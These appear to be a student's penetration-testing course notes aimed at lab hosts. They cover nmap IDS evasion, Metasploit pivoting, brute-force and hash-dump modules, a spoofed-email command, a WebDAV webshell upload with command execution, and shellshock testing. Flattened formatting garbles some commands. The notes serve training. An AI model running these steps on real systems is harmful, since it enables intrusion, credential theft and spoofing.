Information Gathering
- Passive: whois, whatweb, dnsrecon, wafw00f, sublist3r, google dorks, theharvester
- Active: dns zone transfer, nmap
Footprinting & Scanning
- basic osi layer stuff networking
- nmap commands
snfor ping sweep- scan common ports first for faster results, like
-P22,23,80,443,3389
- Firewall detection & IDS evasion
- using malformed packets
- fragment packets with
-f (MTU) - optimising nmap with
-T4 - nmap output formats
- sometimes it makes sense to slow down scans, preventing IDS from detecting
-Dto set decoy ip addresses- output
-oNnormal,-oXxml for metasploit,-oGgrepable format
Enumeration
- host discovery
- using the
-sVoption
- using the
- import nmap into msf
- using the
db_importanddb_nmap
- using the
- msf auxiliary modules using
search - steps to exploit
- nmap, scan services, check for msf exploits
- pivot to another subnet using msf
- enter
shell, useip addrto look for next subnet - use
run autoroute -s 192.180.108.2 - use
portscantcp to scan the next subnet, setportsto 1-1000 - use
sessions -i 1to switch between sessions - use
upload /root/static-binaries/nmap /tmp/nmapto upload payloads
- enter
- ftp enumeration
- two msf modules,
ftp_versionandftp_login - for
ftp_login, you can set aUSER_FILEandPASS_FILE
- two msf modules,
- smb enumeration
- using nmap,
nmap --script smb-os-discovery.nse -p 445 - msf modules like
smb_version - get netbios name of samba
nmblookup -A demo.ine.local - list shares
smbclient -L demo.ine.local -N - anonymous samba connection
rpcclient -U "" -N demo.ine.local
- using nmap,
- apache enumeration
- using msf modules like
http_version,robots_txt,http_header,brute_dirs,dir_scanner,dir_listing,files_dir,http_put,apache_userdir_enum
- using msf modules like
- mysql enumeration
- using msf modules like
mysql_version,mysql_login,mysql_enum,mysql_sql,mysql_file_enum,mysql_hashdump(one credentials can dump all password hashes),mysql_schemadump,mysql_writable_dirs
- using msf modules like
- ssh enumeration
- using msf modules like
ssh_version - ssh bruteforce using msf module
ssh_login
- using msf modules like
- smtp enumeration
- connect to the server using
netcatandtelnet - using
smtp-user-enum -U usernames.txt -t demo.ine.local - msf module
smtp_enum, get usernames -f admin@attacker.xyz -t root@openmailbox.xyz -s demo.ine.local -u Fakemail -m "Hi root, a fake from admin" -o tls=nocommand to send email
- connect to the server using
Vulnerability Assessment
- webdav, iis server davtest
- webdav is a file management tool
- testing anonymous connection,
davtest -url http://demo.ine.local/webdav - testing password login,
davtest -auth bob:password_123321 -url http://demo.ine.local/webdav - actual logging in
cadaver http://demo.ine.local/webdavand useput /usr/share/webshells/asp/webshell.aspto upload payload - code execution using
http://demo.ine.local/webdav/webshell.asp?cmd=whoamiafter uploading payload
- shellshock
- shellshock is an RCE vulnerability caused by bash environmental variables
- look for a cgi file in the website source code
- check for shellshock vulnerability using nmap and the cgi file
nmap --script http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" demo.ine.local - steps to exploit is on github https://github.com/opsxcq/exploit-CVE-2014-6271
- capture the network traffic, send to repeater and replace the
user-agentheader with the payload
- wmap web app scan
- its a plugin in msf, can be loaded using
load wmap - add the target (both ip and url) using
wmap_sites -a 192.157.89.3andwmap_targets -t http://192.157.89.3, check added sites withwmap_sites -landwmap_targets -l - start the scan with
wmap_run -tand use enabled modules withwmap_run -e
- its a plugin in msf, can be loaded using